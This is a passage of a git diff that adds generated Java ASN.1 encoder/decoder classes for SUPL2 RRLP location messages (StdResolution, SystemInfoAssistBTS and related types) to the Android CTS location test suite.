+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new stanModelIDType from encoded stream.
+ */
+ public static stanModelIDType fromPerUnaligned(byte[] encodedBytes) {
+ stanModelIDType result = new stanModelIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new stanModelIDType from encoded stream.
+ */
+ public static stanModelIDType fromPerAligned(byte[] encodedBytes) {
+ stanModelIDType result = new stanModelIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "stanModelIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("StandardClockModelElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StdResolution.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StdResolution.java
new file mode 100755
index 0000000..d48450c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StdResolution.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class StdResolution extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_StdResolution
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public StdResolution() {
+ super();
+ setValueRange("0", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_StdResolution;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_StdResolution != null) {
+ return ImmutableList.of(TAG_StdResolution);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new StdResolution from encoded stream.
+ */
+ public static StdResolution fromPerUnaligned(byte[] encodedBytes) {
+ StdResolution result = new StdResolution();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new StdResolution from encoded stream.
+ */
+ public static StdResolution fromPerAligned(byte[] encodedBytes) {
+ StdResolution result = new StdResolution();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "StdResolution = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS.java
new file mode 100755
index 0000000..27f4472
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS.java
@@ -0,0 +1,437 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SystemInfoAssistBTS extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_SystemInfoAssistBTS
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "SystemInfoAssistBTS: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public SystemInfoAssistBTS() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SystemInfoAssistBTS;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SystemInfoAssistBTS != null) {
+ return ImmutableList.of(TAG_SystemInfoAssistBTS);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new SystemInfoAssistBTS from encoded stream.
+ */
+ public static SystemInfoAssistBTS fromPerUnaligned(byte[] encodedBytes) {
+ SystemInfoAssistBTS result = new SystemInfoAssistBTS();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SystemInfoAssistBTS from encoded stream.
+ */
+ public static SystemInfoAssistBTS fromPerAligned(byte[] encodedBytes) {
+ SystemInfoAssistBTS result = new SystemInfoAssistBTS();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $NotPresent(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SystemInfoAssistBTS.notPresentType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SystemInfoAssistBTS.notPresentType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Present(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new AssistBTSData();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AssistBTSData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class notPresentType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_notPresentType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public notPresentType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_notPresentType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_notPresentType != null) {
+ return ImmutableList.of(TAG_notPresentType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new notPresentType from encoded stream.
+ */
+ public static notPresentType fromPerUnaligned(byte[] encodedBytes) {
+ notPresentType result = new notPresentType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new notPresentType from encoded stream.
+ */
+ public static notPresentType fromPerAligned(byte[] encodedBytes) {
+ notPresentType result = new notPresentType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "notPresentType (null value);\n";
+ }
+}
+
+
+ public boolean isNotPresent() {
+ return !hasExtensionValue() && Select.$NotPresent == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isNotPresent}.
+ */
+ @SuppressWarnings("unchecked")
+ public SystemInfoAssistBTS.notPresentType getNotPresent() {
+ if (!isNotPresent()) {
+ throw new IllegalStateException("SystemInfoAssistBTS value not a NotPresent");
+ }
+ return (SystemInfoAssistBTS.notPresentType) element;
+ }
+
+ public void setNotPresent(SystemInfoAssistBTS.notPresentType selected) {
+ selection = Select.$NotPresent;
+ extension = false;
+ element = selected;
+ }
+
+ public SystemInfoAssistBTS.notPresentType setNotPresentToNewInstance() {
+ SystemInfoAssistBTS.notPresentType element = new SystemInfoAssistBTS.notPresentType();
+ setNotPresent(element);
+ return element;
+ }
+
+
+
+ public boolean isPresent() {
+ return !hasExtensionValue() && Select.$Present == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isPresent}.
+ */
+ @SuppressWarnings("unchecked")
+ public AssistBTSData getPresent() {
+ if (!isPresent()) {
+ throw new IllegalStateException("SystemInfoAssistBTS value not a Present");
+ }
+ return (AssistBTSData) element;
+ }
+
+ public void setPresent(AssistBTSData selected) {
+ selection = Select.$Present;
+ extension = false;
+ element = selected;
+ }
+
+ public AssistBTSData setPresentToNewInstance() {
+ AssistBTSData element = new AssistBTSData();
+ setPresent(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "SystemInfoAssistBTS = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS_R98_ExpOTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS_R98_ExpOTD.java
new file mode 100755
index 0000000..218fa07
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS_R98_ExpOTD.java
@@ -0,0 +1,437 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SystemInfoAssistBTS_R98_ExpOTD extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_SystemInfoAssistBTS_R98_ExpOTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "SystemInfoAssistBTS_R98_ExpOTD: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public SystemInfoAssistBTS_R98_ExpOTD() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SystemInfoAssistBTS_R98_ExpOTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SystemInfoAssistBTS_R98_ExpOTD != null) {
+ return ImmutableList.of(TAG_SystemInfoAssistBTS_R98_ExpOTD);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new SystemInfoAssistBTS_R98_ExpOTD from encoded stream.
+ */
+ public static SystemInfoAssistBTS_R98_ExpOTD fromPerUnaligned(byte[] encodedBytes) {
+ SystemInfoAssistBTS_R98_ExpOTD result = new SystemInfoAssistBTS_R98_ExpOTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SystemInfoAssistBTS_R98_ExpOTD from encoded stream.
+ */
+ public static SystemInfoAssistBTS_R98_ExpOTD fromPerAligned(byte[] encodedBytes) {
+ SystemInfoAssistBTS_R98_ExpOTD result = new SystemInfoAssistBTS_R98_ExpOTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $NotPresent(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SystemInfoAssistBTS_R98_ExpOTD.notPresentType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SystemInfoAssistBTS_R98_ExpOTD.notPresentType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Present(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new AssistBTSData_R98_ExpOTD();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AssistBTSData_R98_ExpOTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class notPresentType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_notPresentType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public notPresentType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_notPresentType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_notPresentType != null) {
+ return ImmutableList.of(TAG_notPresentType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new notPresentType from encoded stream.
+ */
+ public static notPresentType fromPerUnaligned(byte[] encodedBytes) {
+ notPresentType result = new notPresentType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new notPresentType from encoded stream.
+ */
+ public static notPresentType fromPerAligned(byte[] encodedBytes) {
+ notPresentType result = new notPresentType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "notPresentType (null value);\n";
+ }
+}
+
+
+ public boolean isNotPresent() {
+ return !hasExtensionValue() && Select.$NotPresent == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isNotPresent}.
+ */
+ @SuppressWarnings("unchecked")
+ public SystemInfoAssistBTS_R98_ExpOTD.notPresentType getNotPresent() {
+ if (!isNotPresent()) {
+ throw new IllegalStateException("SystemInfoAssistBTS_R98_ExpOTD value not a NotPresent");
+ }
+ return (SystemInfoAssistBTS_R98_ExpOTD.notPresentType) element;
+ }
+
+ public void setNotPresent(SystemInfoAssistBTS_R98_ExpOTD.notPresentType selected) {
+ selection = Select.$NotPresent;
+ extension = false;
+ element = selected;
+ }
+
+ public SystemInfoAssistBTS_R98_ExpOTD.notPresentType setNotPresentToNewInstance() {
+ SystemInfoAssistBTS_R98_ExpOTD.notPresentType element = new SystemInfoAssistBTS_R98_ExpOTD.notPresentType();
+ setNotPresent(element);
+ return element;
+ }
+
+
+
+ public boolean isPresent() {
+ return !hasExtensionValue() && Select.$Present == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isPresent}.
+ */
+ @SuppressWarnings("unchecked")
+ public AssistBTSData_R98_ExpOTD getPresent() {
+ if (!isPresent()) {
+ throw new IllegalStateException("SystemInfoAssistBTS_R98_ExpOTD value not a Present");
+ }
+ return (AssistBTSData_R98_ExpOTD) element;
+ }
+
+ public void setPresent(AssistBTSData_R98_ExpOTD selected) {
+ selection = Select.$Present;
+ extension = false;
+ element = selected;
+ }
+
+ public AssistBTSData_R98_ExpOTD setPresentToNewInstance() {
+ AssistBTSData_R98_ExpOTD element = new AssistBTSData_R98_ExpOTD();
+ setPresent(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "SystemInfoAssistBTS_R98_ExpOTD = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData.java
new file mode 100755
index 0000000..4dd7a6e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SystemInfoAssistData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SystemInfoAssistData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SystemInfoAssistData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SystemInfoAssistData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SystemInfoAssistData != null) {
+ return ImmutableList.of(TAG_SystemInfoAssistData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SystemInfoAssistData from encoded stream.
+ */
+ public static SystemInfoAssistData fromPerUnaligned(byte[] encodedBytes) {
+ SystemInfoAssistData result = new SystemInfoAssistData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SystemInfoAssistData from encoded stream.
+ */
+ public static SystemInfoAssistData fromPerAligned(byte[] encodedBytes) {
+ SystemInfoAssistData result = new SystemInfoAssistData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SeqOfSystemInfoAssistBTS systemInfoAssistList_;
+ public SeqOfSystemInfoAssistBTS getSystemInfoAssistList() {
+ return systemInfoAssistList_;
+ }
+ /**
